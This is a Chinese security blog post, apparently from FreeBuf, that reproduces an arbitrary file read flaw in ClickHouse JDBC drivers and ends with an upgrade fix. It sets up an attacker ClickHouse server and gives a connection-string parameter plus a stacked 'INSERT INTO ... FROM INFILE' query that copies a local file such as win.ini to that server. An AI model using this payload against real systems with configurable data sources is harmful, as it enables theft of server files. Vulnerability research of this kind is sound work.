前言
最近遇到了能后台能设置数据源的系统,其中有ClickHouse数据库就研究了一番发现有个任意文件读取漏洞,但苦于网上的有效文章看来看去就那两篇,基本都是写的CVE-2024-31441的利用方法,所以自己稍微复现研究了下算是比较全面。
漏洞影响范围
0.4.x<ClickHouse JDBC<0.8.x
漏洞复现
1.部署clickhouse服务器,尽量使用版本在24.8.x的clickhouse-server,在测试中发现使用25等最新或者22旧版本的会导致clickhouse jdbc无法正常连接,现在大部分系统的jdbc都无法连接25版本。


2. 启动clickhouse服务器后,设置clickhouse允许互联网访问。在/etc/clickhouse-server/config.xml中将listen_host设置为0.0.0.0

3.给clickhouse的默认账号default设置密码和允许远程访问,在/etc/clickhouse-server/users.xml中。

4.此时需要登录进入clickhouse中,创建一个用于接收文件内容的表格,空表即可,这里我修改了clickhouse的tcp协议绑定端口为19000,这个是tcp协议端口,一般jdbc连接的都是http协议的8123端口。

5.此时模拟jdbc连接字符串可控,在连接字符串中添加compress=0&localFile=true连接参数。

6.确保可以成功连接后,在sql语句中执行select version();INSERT INTO images FROM INFILE 'C:/Windows/win.ini' FORMAT CSV即可,其实直接使用INSERT INTO images FROM INFILE 'C:/Windows/win.ini' FORMAT CSV也可以将本地文件插入,但是实际攻击常见中,大部分允许用户设置数据源的系统都只给用户select的机会,所以这里利用clickhouse可堆叠查询的特性在select之后insert来插入数据。


7.实测从jdbc驱动从8.x版本开始,这个漏洞就无法利用了,报错信息如下。



漏洞修复方法
把ClickHouse JDBC升级到最新即可。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)

